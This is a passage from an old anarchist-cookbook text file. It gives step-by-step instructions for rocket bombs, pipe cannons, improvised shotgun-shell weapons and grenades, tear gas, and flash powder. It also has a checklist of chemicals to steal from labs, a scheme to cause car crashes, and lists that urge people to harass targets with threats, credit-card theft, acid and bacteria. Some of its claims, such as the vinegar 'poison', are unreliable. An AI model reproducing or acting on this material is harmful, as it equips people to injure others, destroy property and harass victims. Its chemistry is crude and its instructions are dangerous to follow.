|
/
| 6 |
\
|
| /
| | |
\ |
| /
| 0 |
\ |
|/
|___|
\|
|
/
\
|
\______/
^
\______/ ------- fin
|
|
|
|
C6-0 rocket engine
The fuse is put in the bottom engine.
Two, three, or even four stages can be added to a rocket bomb to
give it
a longer range. It is important, however, that for each additional
stage, the
fin area gets larger.
6.13
MULTIPLE WARHEAD ROCKET BOMBS
"M.R.V." is an acronym for Multiple Reentry Vehicle. The concept
is
simple: put more than one explosive warhead on a single missile. This
can be
done without too much difficulty by anyone who knows how to make
crater-makers
and can buy rocket engines. By attaching crater makers with long fuses
to a
rocket, it is possible that a single rocket could deliver several
explosive
devices to a target. Such a rocket might look like this:
___
/
\
|
|
| C |
| M |
|___|
___|
|___
| |
| |
| | T | |
/ \ | U | / \
/
\| B |/
\
|
|| E ||
|
| C ||
|| C |
| M ||
|| M |
|
||___||
|
\___/| E |\___/
| N |
/| G |\
/ | I | \
/ | N | \
/
| E |
\
/
|___|
\
/ fin/ | \ fin\
|
/
|
\
|
\__/
|
\__/
^
|____ fin
The crater makers are attached to the tube of rolled paper with
tape.
the paper tube is made by rolling and gluing a 4 inch by 8 inch piece
of paper.
The tube is glued to the engine, and is filled with gunpowder or black
powder.
Small holes are punched in it, and the fuses of the crater makers are
inserted
in these holes. A crater maker is glued to the open end of the tube,
so that
its fuse is inside the tube. A fuse is inserted in the engine, or in
the bottom
engine if the rocket bomb is multi stage, and the rocket is launched
from the
coathanger launcher, if a segment of a plastic straw has been attached
to it.
6.2
CANNON
The cannon is a piece of artillery that has been in use since the
11th century. It is not unlike a musket, in that it is filled with
powder,
loaded, and fired. Cannons of this sort must also be cleaned after
each shot,
otherwise, the projectile may jam in the barrel when it is fired,
causing the
barrel to explode. A sociopath could build a cannon without too much
trouble,
if he/she had a little bit of money, and some patience.
6.21
BASIC PIPE CANNON
A simple cannon can be made from a thick pipe by almost anyone.
The
only difficult part is finding a pipe that is extremely smooth on its
interior.
This is absolutely necessary; otherwise, the projectile may jam.
Copper or
aluminum piping is usually smooth enough, but it must also be extremely
thick to
withstand the pressure developed by the expanding hot gasses in a
cannon. If
one uses a projectile such as a CO2 cartridge, since such a projectile
can be
made to explode, a pipe that is about 1.5 - 2 feet long is ideal. Such
a pipe
MUST have walls that are at least 1/3 to 1/2 an inch thick, and be very
smooth
on the interior. If possible, screw an endplug into the pipe.
Otherwise, the
pipe must be crimped and folded closed, without cracking or tearing the
pipe.
A small hole is drilled in the back of the pipe near the crimp or
endplug.
Then, all that need be done is fill the pipe with about two teaspoons
of
grade blackpowder or pyrodex, insert a fuse, pack it lightly by ramming
a wad
of tissue paper down the barrel, and drop in a CO2 cartridge. Brace
the cannon
securely against a strong structure, light the fuse, and run. If the
person is
lucky, he will not have overcharged the cannon, and he will not be hit
by
pieces of exploding barrel. Such a cannon would look like this:
__________________ fuse hole
|
|
V
__________ ______________________________________________________
| |________ _____________________________________________________|
|endplug|powder|t.p.| CO2 cartridge
| ______|______|____|____________________________________________
|_|______________________________________________________________|
An exploding projectile can be made for this type of cannon with a
CO2
cartridge. It is relatively simple to do. Just make a crater maker,
and
construct it such that the fuse projects about an inch from the end of
the
cartridge. Then, wrap the fuse with duct tape, covering it entirely,
except for
a small amount at the end. Put this in the pipe cannon without using a
tissue
paper packing wad. When the cannon is fired, it will ignite the end of
the fuse,
and shoot the CO2 cartridge. The explosive-filled cartridge will
explode in
about
three seconds, if all goes well.
Such a projectile would look like
this:
___
/
\
|
|
| C |
| M |
|
|
|
|
|\ /|
| | | ---- tape
|_|_|
| ------ fuse
6.22
ROCKET FIRING CANNON
A rocket firing cannon can be made exactly like a normal cannon;
the
only difference is the ammunition. A rocket fired from a cannon will
fly further
than a rocket alone, since the action of shooting it overcomes the
initial
inertia. A rocket that is launched when it is moving will go further
than one
that is launched when it is stationary. Such a rocket would resemble a
normal
rocket bomb, except it would have no fins. It would look like this:
___
/
\
|
|
| C |
| M |
|
|
|
|
|___|
| E |
| N |
| G |
| I |
| N |
| E |
|___|
the fuse on such a device would, obviously, be short, but it would
not
be ignited until the rocket's ejection charge exploded. Thus, the
delay before
the ejection charge, in effect, becomes the delay before the bomb
explodes.
Note that no fuse need be put in the rocket; the burning powder in the
cannon
will ignite it, and simultaneously push the rocket out of the cannon at
a high
velocity.
7.0
PYROTECHNICA ERRATA
There are many other types of pyrotechnics that a perpetrator of
violence might employ. Smoke bombs can be purchased in magic stores,
and large
military smoke bombs can be bought through adds in gun and military
magazines.
Finally, fireworks can also be used as weapons of terror. A large
aerial display
rocket would cause many injuries if it were to be fired so that it
landed on the
ground near a crowd of people. Even the "harmless" pull-string
fireworks, which
consists of a sort of firecracker that explodes when the strings
running through
it are pulled, could be placed inside a large charge of a sensitive
high
explosive. Tear gas is another material that might well be useful to
the
sociopath, and such a material could be instantly disseminated over a
large
crowd by means of a rocket-bomb, with nasty effects.
7.1
SMOKE BOMBS
One type of pyrotechnic device that might be employed by a
terrorist in
many way would be a smoke bomb. Such a device could conceal the
getaway route,
or cause a diversion, or simply provide cover. Such a device, were it
to
produce enough smoke that smelled bad enough, could force the
evacuation of a
building, for example. Smoke bombs are not difficult to make.
Although the
military smoke bombs employ powdered white phosphorus or titanium
compounds,
such materials are usually unavailable to even the most well-equipped
terrorist.
Instead, he/she would have to make the smoke bomb for themselves.
Most homemade smoke bombs usually employ some type of base powder,
such
as black powder or pyrodex, to support combustion. The base material
will burn
well, and provide heat to cause the other materials in the device to
burn, but
not completely or cleanly. Table sugar, mixed with sulfur and a base
material,
produces large amounts of smoke. Sawdust, especially if it has a small
amount
of oil in it, and a base powder works well also. Other excellent smoke
ingredients are small pieces of rubber, finely ground plastics, and
many
chemical mixtures. The material in road flares can be mixed with sugar
and
sulfur and a base powder produces much smoke. Most of the fueloxodizer
mixtures, if the ratio is not correct, produce much smoke when added to
a base
powder. The list of possibilities goes on and on. The trick to a
successful
smoke bomb also lies in the container used. A plastic cylinder works
well, and
contributes to the smoke produced. The hole in the smoke bomb where
the fuse
enters must be large enough to allow the material to burn without
causing an
explosion. This is another plus for plastic containers, since they
will melt
and burn when the smoke material ignites, producing an opening large
enough to
prevent an explosion.
7.2
COLORED FLAMES
Colored flames can often be used as a signaling device for
terrorists.
by putting a ball of colored flame material in a rocket; the rocket,
when the
ejection charge fires, will send out a burning colored ball. The
materials that
produce the different colors of flames appear below.
COLOR
MATERIAL
USED IN
_____
________
_______
_______________________________________________________________________
________
red
strontium
road flares,
salts
red sparklers
(strontium nitrate)
_______________________________________________________________________
________
green
barium salts
green sparklers
(barium nitrate)
_______________________________________________________________________
________
yellow
sodium salts
gold sparklers
(sodium nitrate)
_______________________________________________________________________
________
blue
powdered copper
blue sparklers,
old pennies
_______________________________________________________________________
________
white
powdered magnesium
firestarters,
or aluminum
aluminum foil
_______________________________________________________________________
________
purple
potassium permanganate
purple fountains,
treating sewage
_______________________________________________________________________
________
7.3
TEAR GAS
A terrorist who could make tear gas or some similar compound could
use
it with ease against a large number of people. Tear gas is fairly
complicated
to make, however, and this prevents such individuals from being able to
utilize
its great potential for harm. One method for its preparation is shown
below.
EQUIPMENT
_________
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
ring stands (2)
alcohol burner
erlenmeyer flask, 300 ml
clamps (2)
rubber stopper
glass tubing
clamp holder
condenser
rubber tubing
collecting flask
air trap
beaker, 300 ml
MATERIALS
_________
10 gms
glycerine
2 gms sodium bisulfate
distilled water
1.) In an open area, wearing a gas mask, mix 10 gms of glycerine with
2 gms
of sodium bisulfate in the 300 ml erlenmeyer flask.
2.)
Light the alcohol burner, and gently heat the flask.
3.) The mixture will begin to bubble and froth; these bubbles are tear
gas.
4.) When the mixture being heated ceases to froth and generate gas, or
a brown
residue becomes visible in the tube, the reaction is complete.
Remove the
heat source, and dispose of the heated mixture, as it is
corrosive.
5.) The material that condenses in the condenser and drips into the
collecting
flask is tear gas. It must be capped tightly, and stored in a
safe place.
7.4
FIREWORKS
While fireworks cannot really be used as an effective means of
terror,
they do have some value as distractions or incendiaries. There are
several
basic types of fireworks that can be made in the home, whether for fun,
profit,
or nasty uses.
7.41
FIRECRACKERS
A simple firecracker can be made from cardboard tubing and epoxy.
The instructions are below:
1) Cut a small piece of cardboard tubing from the tube you are
using.
"Small" means anything less than 4 times the diameter of the
tube.
2) Set the section of tubing down on a piece of wax paper, and
fill
it with epoxy and the drying agent to a height of 3/4 the
diameter
of the tubing. Allow the epoxy to dry to maximum hardness, as
specified on the package.
3) When it is dry, put a small hole in the middle of the tube, and
insert a desired length of fuse.
4) Fill the tube with any type of flame-sensitive explosive.
Flash
powder, pyrodex, black powder, potassium picrate, lead azide,
nitrocellulose, or any of the fast burning fuel-oxodizer
mixtures
will do nicely.
Fill the tube almost to the top.
5) Pack the explosive tightly in the tube with a wad of tissue
paper
and a pencil or other suitable ramrod.
Be sure to leave enough
space
for more epoxy.
6) Fill the remainder of the tube with the epoxy and hardener, and
allow
it to dry.
7) For those who wish to make spectacular firecrackers, always use
flash powder, mixed with a small amount of other material for
colors. By crushing the material on a sparkler, and adding it
to the flash powder, the explosion will be the same color as
the
sparkler.
By adding small chunks of sparkler material, the
device will throw out colored burning sparks, of the same color
as the sparkler. By adding powdered iron, orange sparks will
be produced. White sparks can be produced from magnesium
shavings,
or from small, LIGHTLY crumpled balls of aluminum foil.
Example:
Suppose I wish to make a firecracker that will
explode
with a red flash, and throw out white sparks. First,
I would take a road flare, and finely powder the
material
inside it.
Or, I could take a red sparkler, and finely
powder it. Then, I would mix a small amount of this
material with the flash powder. (NOTE: FLASH POWDER
MAY REACT WITH SOME MATERIALS THAT IT IS MIXED WITH, AND
EXPLODE SPONTANEOUSLY!) I would mix it in a ratio of
9 parts flash powder to 1 part of flare or sparkler
material, and add about 15 small balls of aluminum foil
I would store the material in a plastic bag overnight
outside of the house, to make sure that the stuff
doesn't
react.
Then, in the morning, I would test a small
amount
of it, and if it was satisfactory, I would put it in the
firecracker.
8) If this type of firecracker is mounted on a rocket engine,
professional to semi-professional displays can be produced.
7.42
SKYROCKETS
An impressive home made skyrocket can easily be made in the home
from
model rocket engines. Estes engines are recommended.
1) Buy an Estes Model Rocket Engine of the desired size,
remembering
that the power doubles with each letter. (See sect. 6.1 for
details)
2) Either buy a section of body tube for model rockets that
exactly
fits the engine, or make a tube from several thicknesses of
paper
and glue.
3) Scrape out the clay backing on the back of the engine, so that
the powder is exposed.
Glue the tube to the engine, so that
the
tube covers at least half the engine. Pour a small charge of
flash powder in the tube, about 1/2 an inch.
4) By adding materials as detailed in the section on firecrackers,
various types of effects can be produced.
5) By putting Jumping Jacks or bottle rockets without the stick
in the tube, spectacular displays with moving fireballs or
M.R.V.'s can be produced.
6) Finally, by mounting many home made firecrackers on the tube
with
the fuses in the tube, multiple colored bursts can be made.
7.43
ROMAN CANDLES
Roman candles are impressive to watch. They are relatively
difficult
to make, compared to the other types of home-made fireworks, but they
are
well worth the trouble.
1) Buy a 1/2 inch thick model rocket body tube, and reinforce it
with several layers of paper and/or masking tape. This must
be done to prevent the tube from exploding. Cut the tube into
about 10 inch lengths.
2) Put the tube on a sheet of wax paper, and seal one end with
epoxy
and the drying agent.
About 1/2 of an inch is sufficient.
3) Put a hole in the tube just above the bottom layer of epoxy,
and insert a desired length of water proof fuse. Make sure
that
the fuse fits tightly.
4) Pour about 1 inch of pyrodex or gunpowder down the open end of
the
tube.
5) Make a ball by powdering about two 6 inch sparklers of the
desired
color. Mix this powder with a small amount of flash powder and
a small amount of pyrodex, to have a final ratio (by volume) of
60% sparkler material / 20% flash powder / 20% pyrodex. After
mixing the powders well, add water, one drop at a time, and
mixing
continuously, until a damp paste is formed. This paste should
be moldable by hand, and should retain its shape when left
alone.
Make a ball out of the paste that just fits into the tube.
Allow
the ball to dry.
6) When it is dry, drop the ball down the tube.
It should slide
down
fairly easily.
Put a small wad of tissue paper in the tube,
and pack
it gently against the ball with a pencil.
7) When ready to use, put the candle in a hole in the ground,
pointed
in a safe direction, light the fuse, and run. If the device
works,
a colored fireball should shoot out of the tube to a height of
about 30 feet. This height can be increased by adding a
slightly
larger powder charge in step 4, or by using a slightly longer
tube.
8) If the ball does not ignite, add slightly more pyrodex in step
5.
9) The balls made for roman candles also function very well in
rockets,
producing an effect of falling colored fireballs.
8.0
LISTS OF SUPPLIERS AND MORE INFORMATION
Most, if not all, of the information in this publication can be
obtained
through a public or university library. There are also many
publications that
are put out by people who want to make money by telling other people
how to
make explosives at home. Adds for such appear frequently in
paramilitary
magazines and newspapers. This list is presented to show the large
number of
places that information and materials can be purchased from.
It also
includes
fireworks companies and the like.
COMPANY NAME AND ADDRESS
________________________
FULL AUTO CO. INC.
P.O. BOX 1881
MURFREESBORO, TN
37133
WHAT COMPANY SELLS
__________________
EXPLOSIVE RECIPES,
PAPER TUBING
_______________________________________________________________________
________
UNLIMITED
BOX 1378-SN
CHEMICALS AND FUSE
HERMISTON, OREGON
97838
_______________________________________________________________________
________
AMERICAN FIREWORKS NEWS
FIREWORKS NEWS MAGAZINE WITH
SR BOX 30
SOURCES AND TECHNIQUES
DINGMAN'S FERRY, PENNSYLVANIA
18328
_______________________________________________________________________
________
BARNETT INTERNATIONAL INC.
BOWS, CROSSBOWS, ARCHERY MATERIALS,
125 RUNNELS STREET
AIR RIFLES
P.O. BOX 226
PORT HURON, MICHIGAN
48060
_______________________________________________________________________
________
CROSSMAN AIR GUNS
AIR GUNS
P.O. BOX 22927
ROCHESTER, NEW YORK
14692
_______________________________________________________________________
________
EXECUTIVE PROTECTION PRODUCTS INC.
TEAR GAS GRENADES,
316 CALIFORNIA AVE.
PROTECTION DEVICES
RENO, NEVADA
89509
_______________________________________________________________________
________
BADGER FIREWORKS CO. INC.
CLASS "B" AND "C" FIREWORKS
BOX 1451
JANESVILLE, WISCONSIN
53547
_______________________________________________________________________
________
NEW ENGLAND FIREWORKS CO. INC.
CLASS "C" FIREWORKS
P.O. BOX 3504
STAMFORD, CONNECTICUTT
06095
_______________________________________________________________________
________
RAINBOW TRAIL
CLASS "C" FIREWORKS
BOX 581
EDGEMONT, PENNSYLVANIA
19028
_______________________________________________________________________
________
STONINGTON FIREWORKS INC.
4010 NEW WILSEY BAY U.25 ROAD
CLASS "C" AND "B" FIREWORKS
RAPID RIVER, MICHIGAN
49878
_______________________________________________________________________
________
WINDY CITY FIREWORKS INC.
CLASS "C" AND "B" FIREWORKS
P.O. BOX 11
{GOOD PRICES!}
ROCHESTER, INDIANNA
46975
_______________________________________________________________________
________
BOOKS
_____
THE ANARCHIST'S COOKBOOK
THE IMPROVISED MUNITIONS MANUAL
MILITARY EXPLOSIVES
FIRES AND EXPLOSIONS
9.0
CHECKLIST FOR RAIDS ON LABS
In the end, the serious terrorist would probably realize that if
he/she
wishes to make a truly useful explosive, he or she will have to steal
the
chemicals to make the explosive from a lab. A list of such chemicals
in order
of priority would probably resemble the following:
LIQUIDS
_______
____
____
____
powder)
____
____
____
10.0
SOLIDS
______
Nitric Acid
Sulfuric Acid
95% Ethanol
____
____
____
Potassium Perchlorate
Potassium Chlorate
Picric Acid (usually a
Toluene
____
Ammonium Nitrate
Perchloric Acid
____
Powdered Magnesium
Hydrochloric Acid
____
Powdered Aluminum
____
Potassium Permanganate
____
Sulfur
____ Mercury
____
Potassium Nitrate
____
Potassium Hydroxide
____
Phosphorus
____ Sodium Azide
____
Lead Acetate
____
Barium Nitrate
USEFUL PYROCHEMISTRY
In general, it is possible to make many chemicals from just a few
basic
ones. A list of useful chemical reactions is presented. It assumes
knowledge
of general chemistry; any individual who does not understand the
following
reactions would merely have to read the first five chapters of a high
school
chemistry book.
1.
potassium perchlorate from perchloric acid and potassium hydroxide
K(OH)
+
HClO
---->
KClO
+
H O
4
4
2
2.
potassium nitrate from nitric acid and potassium hydroxide
"
+
HNO
---->
KNO
+
"
3
3
3.
ammonium perchlorate from perchloric acid and ammonium hydroxide
NH OH
+
HClO
---->
NH ClO
+
"
3
4
3
4
4.
ammonium nitrate from nitric acid and ammonium hydroxide
NH OH
+
HNO
---->
NH NO
+
"
3
3
3 3
5.
powdered aluminum from acids, aluminum foil, and magnesium
A.
B.
aluminum foil
2AlCl
3
(aq)
+
+
6HCl
3Mg
---->
---->
2AlCl
3
+
3MgCl (aq)
2
+
3H
2
2Al
The Al will be a very fine silvery powder at the bottom of the
container
which must be filtered and dried.
This same method works with nitric
and
sulfuric acids, but these acids are too valuable in the production of
high
explosives to use for such a purpose, unless they are available in
great excess.
11.0
ABOUT THE AUTHOR
The author, who wishes his name to be unknown, is presently
attending
a college in the United States of America, majoring in Engineering. He
was
raised by his parents on the East Coast, and received his high school
education
there. He first became interested in pyrotechnics when he was about
eight years
of age. At age twelve, he produced his first explosive device; it was
slightly
more powerful than a large firecracker. He continued to produce
explosive
devices for several years. He also became interested in model
rocketry, and has
built several rockets from kits, and designed his own rockets. While
in high
school, the author became affiliated with CHAOS, and eventually became
the
head of Gunzenbomz Pyro-Technologies. At this time, at age 18, he
produced
his first high explosive device, putting a 1 foot deep crater in an
associate's
back yard. He had also produced many types of rockets, explosive
ammunition,
and other pyrotechnic devices. While he was heading Gunzenbomz PyroTechnologies, he was injured when a home made device exploded in his
hand; he
did not make the device. The author learned, however, and then
decided to
reform, and although he still constructs an occasional explosive
device, he
chooses to abstain from their production. An occasional rocket that
produces
effects similar to that of professional displays can sometimes be seen
in the
midnight sky near his college, and the Fourth of July is still his
favorite day
of the year.
---===>!!>-~>JyNx<~-<!!<===-----===>!!>-~>Zealot<~-<!!<===--~ The Black List ~
These are a few adresses of people who are rejects to society.
Thier losers in other words. Thier the kind that either think that
their
all that or are just plain losers. We need to teach them a lesson. I
invite all of you to royaly make their life miserable. Total phuck up
thier house, crank call them, get their credit card numbers, or order
whatever to their houses. You can refer to other files in this
cookbook
for some ideas. Sorry...this file had to be taken out do to leagal
things..
---===>~JyNx~<===-----===>~Zealot~<===--~ The Busy Box ~
The busy box is just that, it makes whatever fone line it's attached
to
busy. It's quick, it's easy, it's actually fairly useful at school,
cause
those idiots can't figure them out. Here's the plans:
Shoppong list:
One length of 4 cond fone wire w/modular plug on one end
wire strippers
elec tape
Strip the two inside wires on the end of the fone cord that doesn't
have
the plug on it (Ring/Tip or Red/Green). Twist them together, and wrap a
few
times with elec tape. Yes, that's really it.
Do you REALLY need a diagrag? Ok:
/
/
---------red
|
|----------------------------------\
|
|----------------------------------/
together
---------green
^
<--- twist wires
Mod plug
That better be enough for you. Jesus. This is only SO hard...
---===>~JyNx~<===-----===>~Zealot~<===--~ The Cattle Prod ~
Materials:
1)
1)
1)
1)
Shotgun shell
36-48" wooden dowel (3/4" diam or so)
finishing nail
plastic film canister
This one is rather dangerous, but if you're willing to take the risk,
talk
about nasty!
Super glue the film canister on the end of the pole. It should be NO
LESS
than 3 feet long. Now super glue the nail in the middle of the bottom
of the
canister. Or any other way you want to do it, so long as you have the
canister on the rod with the nail in the canister. GENTLY place the
shotgun
shell inside the film canister, so it rests on the nail, but doesn't go
off
(obviously). You can use any size shotshell you want, cause they should
all
fit in the film canister. Wrap the shotshell and canister with tape
like 2
times. Just enough to hold the shotshell in place.
If you haven't figured out how to use this by now...well...I'll tell
ya:
Say there's a guy standing near you, and you don't want him there any
more.
Grab the prod, and just slam it into his chest or back. Simple. You may
want
to wrap a towel or something around the pole, as it will kick, and may
give
you a splinter. This also has other uses...such as a battering ram.
---===>~JyNx~<===-----===>~Zealot~<===--~ The Fax of Life ~
This is agood way to get back at a school or place of business you do
not
like very much. Most fax machines used to use thermal paper that came
in
rolls and was VERY expensive, but most machines use plain paper now.
This is
much more effective with rolls, but is still costly even with plain.
And if
the victim is a company, the revenues they can lose from their fax line
being
busied out can be substantial.
All you need is:
A fax machine
3-4 sheets black construction paper
Tape
First, if you can program the number you're calling from into the
machine,
since that name and number will be on top of every page, change it to
someone
else's name and number whom you do not like. Now, call the victim's fax
line,
and take the paper (which you already taped together to form one LONG
sheet)
and feed it in. When you get both ends free of the machine (one having
not
gone in yet, and one end already out), tape them together, so you get a
big
black loop. THis eats all their paper, and uses all their toner, as
well as
blocking up their fax line until they notice. Often in big corps, they
don't
run to the fax machine everytime it rings, so you can leave the thing
running
for quite a while before they hang up. Enjoy.
---===>~JyNx~<===-----===>~Zealot~<===--~ The Nut Buster ~
Yeah, yeah, you've probably heard of this one too...boys and girls,
CH is really running short of ideas (well, I have a few left), and need
your
help...send him ideas that you don't publish yourself...please? :)
1) Get a shotgun shell, and use a little duct tape to tape a BIG ass
marble to the primer. Or you can get those big, white wrist-rocket
shot.
Those should be heavy enuff. Just make sure it weights the shotshell
down.
2) Drop out a window (like a .22 bomb) or toss grenade
style (UNlike a .22 bomb)
3) Duck
4) Laugh
BTW-- they call 'em nutbusters cause if you take out the shot (the
little
pellets inside the shotshell), and toss 'em out a window during
parades, they
can be amusing.
OH YEAH!!!: That's what I almost forgot...it's HIGHLY recommended that
you
open up the shell, and dump out all the little lead balls. They are bad
cheese. If you do, they aren't that dangerous, just loud as shit. If
you
choose to leave the shot in, then read my file on the shotgun shell
mine, and
imagine that happening to anyone standing real close to where the thing
goes off. Could be handy, could be Murder 1. You decide.
---===>~JyNx~<===-----===>~Zealot~<===--~ The Polumna ~
This design is also described in the Terrorists' Handbook, but I have
some better details about the powder to use in it.
1. Get a sheet of 8 1/2 x 11 paper or something like that. Fold it into
1-1/2" strips.
2. Fold the 1-1/2" wide paper strip paper-football style, for two
folds, until
you have a little pocket.
3. Take some rocket powder (I explain below) and some fuse. Put the
fuse
through the whole in the point OPPOSITE the pocket opening. See
diagram:
+------------+
V
|
------|
powder goes where arrow is pointing
\
|
\
|
\
|
\ |
\ |
\|
^--------------fuse goes here
4. Fold the rest of the "football" up. It should be nice and flush and
pretty
looking.
5. Get
the
Also,
the
and
some black electrical tape and wrap the whole thing tight, as
powder will spill out the corners if you don't do this step.
more wraps of tape, the thicker the "plastic" shell of the tape,
the bigger the bang.f
===---ROCKET POWDER---===
Lucky Hack HPA readers! You're getting two files for the download time
of
one! Here's how to make rocket powder (which is essentially
flashpowder):
Go to a hobby shop and buy (or lift) several packages of model rocket
engines
made by ESTES. Or get a HUGE box of them. Expensive, but worth it. Also
try
to get at least one pack of D or E engines. These are BIG and make MUCH
powder. BTW-- they are perfectly legal to buy no matter what age you
are.
Use an Exacto knife to cut a slit down the paper tubing, and unroll the
engines. They look like black cylinders. Get a big piece of cardboard
(like
poster board) and put the cylinders on this. Smash them into smaller
pieces
with a hammer. Once they are in small pieces, you can use a mortar &
pistle
if you like torturing yourself, or I just keep using the hammer. Just
keep
pounding it until it is a FINE powder. This stuff has MANY, MANY uses.
)()()())BACK TO THE PROJECT AT HAND(()()()()()(
These polumnas (Spanish for Dove or something) are very nice. They are
powerful, cheap, easy to make, and you can toss 'em pretty far. Be
kinda
careful with them, though, as they can report like a .38 and I've had
people
call the cops about it. One time I ran into two squad cars and an
ambulance:
a SHOTS FIRED call...wow. That was neat. Luckily, they didn't catch me.
They
got a clothing descrip, but what are they gonna do? Put out an APB on a
teen
wearing black at night? I don't think so. So be careful, and these are
dangerous, but they are pretty stable. I think they would take a finger
off
though, so respect them...
---===>~JyNx~<===-----===>~Zealot~<===--~ Things to do to losers ~
1. Crank call them until disconnect thier phone line.
2. Take thier basketball when they're not home and melt it with napalm.
3. Send them a virus.
4. Egg Their house.
5. Throw ballons full of colored shaving cream in thier back yard or on
thier house.
6. Order 2 - 3 extra large pizas to thier house from 5 different
places.
7. Order plumbers to thier house from 5 different places so they come
to
the house about 30 minutes apart.
8. Order male and female strippers to thier house.
9. Order a cement truck to thier house full of hot pink cement.
10. Order a dumpster to thier house.
11. Fill thier trash can with little pieces of packing styrofoam.
12. Fill thier trash can with water on trash night.
13. Send them threats through the mail.
14. Write fuck you on thier grass with sulfuric acid.
15. Cover thier grass with cement in the back yard when thier not home.
16. Tip over cat houses.
17. Throw thier cloths off of the clothes line onto the roof.
18. Catch and kill alot of BIG bugs and throw them in devious places
such
as threw their window. A good way to catch and kill bugs fast is to
make
a kill jar like this. Take a pickle jar and fill the bottom 1/2 high
with
plaster. Pour acetone in the plaster after it is dry. Let the acetone
sit for a minute then pour out the execess. Then keep the lid on.
After
you catch a bug with this it can take anywhere from 1 - 10 minutes to
kill
the bug depending on its size.
19. Order a dumpster to their house.
20. Throw rocks at thier house after they have all gone to sleep.
21. Get ahold of some bacteria from a lab and rub it on their door
knob.
22. Punch alot of holes in their hose.
23. Slash their tires.
24. Take dog crap and smear it all over their house.
25. Buy some fish and let them rot. Then drop down their chimney or
any
other creative place.
26. Fill thier mailbox with snails.
---===>~JyNx~<===-----===>~Zealot~<===--~ Truck Weaponry ~
This is a fun thing you can do if you own a pick-up truck. I haven't
done it
in mine, yet, but that's only cause I don't have the cash to buy the
pipe
at the moment. All you need is:
4' long lead or steel pipe, 4" Diam
several yds of nylon cord or other strong string
Attach the cord to the release of the tailgate. String that up so it
goes
into the cab somehow. THrough a window or whatever. It really doesn't
matter.
Just be sure that if you yank the string, and let it go, the tailgate
drops.
Now, just put the pipe in the bed of the truck. Drive. When some
asshole cuts
you off, then get around in front of him again, and floor it. Just as
the car
jerks, yank the cord and keep your foot on the floor. The pipe rolls
out.
The other car swerves, hits other cars....much fun. Sorry, officer, the
tail
gate must have come undone. I was on my way to help my uncle install a
swimming pool. (Just be sure you hide the cord).
---===>~JyNx~<===-----===>~Zealot~<===--~ Viniger and Baking Soda Bomb ~
This is an alternative from dry ice.. Dry ice is much easier to
work with, but this is much easier to get ahold of. Take a 2-liter
soda
bottle and cut off the top so that you will be able to fit a glass 7-up
bottle in it. Fill A glass 7-up bottle with viniger and screw on the
lid.
Fill the 2 liter soda bottle with baking soda about 1/3 of the way.
Place the glass bottle inside the 2 liter soda bottle. Seal the 2
liter
bottle up by melting it back together the way it was. This bomb will
only
work if you seal it up correctly. That is the most crucial part. Then
place the lid on the 2 liter soda bottle and your done. Now to set it
off
you need to throw it really HIGH in the air. High enough for the glass
to break and the contents to mix. BBBBOOOOOOOOOOOMMMM!!!!!!!
---===>~JyNx~<===-----===>~Zealot~<===--~ Vinegar Pioson ~
This is a very simple poison to make with almost no
materials needed. Take a lead or copper container and store vinegar
in it for a long time it will then turn to into a deadly poison.
---===>~JyNx~<===-----===>~Zealot~<===--~ Vulcan Granade ~
I know you've ALL heard this one before, but, since every other
anarchist in
the known world has written a phile (mmm..nostalge) on this one, I
might as
well too.
Shopping list:
1 CO2 cylinder (from a BB gun)
1 "D" size model rocket engine (or 3-4 "C"s)
Several inches of control fuse
an icepick or awl
superglue is handy, elec tape will work
Empty the CO2 cylinder. I don't give a shit how. Pop it with a nail,
use it
in your BB gun. Sumtin. Use the awl/icepick to open the hole in the
neck as
wide as you can. Now, crush up the rocket engine (see my file called
POLUMNA.TXT for details on rocket powder [my favorite low order
ordinance])
and fill the cylinder. If you can find a funnel of the right size,
consider
yourself BLESSED (and tell me where to get one). Else find some other
way to
get the powder in the thing. At least 3/4 of the way full. Now, get a
good
amount of fuse (NOT firecracker fuse. YOU WILL KILL YOURSELF). Control
fuse
is best. About 4-6 seconds is enuff. Shove that length (plus 1/2" for
good
measure) into the cylinder. Add a drop of superglue around the fuse, or
give
it a few wraps with black elec tape.
Note: If you use the rocket powder described above, it will
sound
easily like a 1/4 stick, and blow dirt around WELL, but not shrapnel
much.
It will just blow the CO2 cylinder open. If you want shrapnel, use
Black
Powder. It's even louder then, too, but you have a 15 yrd killing
radius,
where everything goes down at knee level...
---===>~JyNx~<===-----===>~Zealot~<===---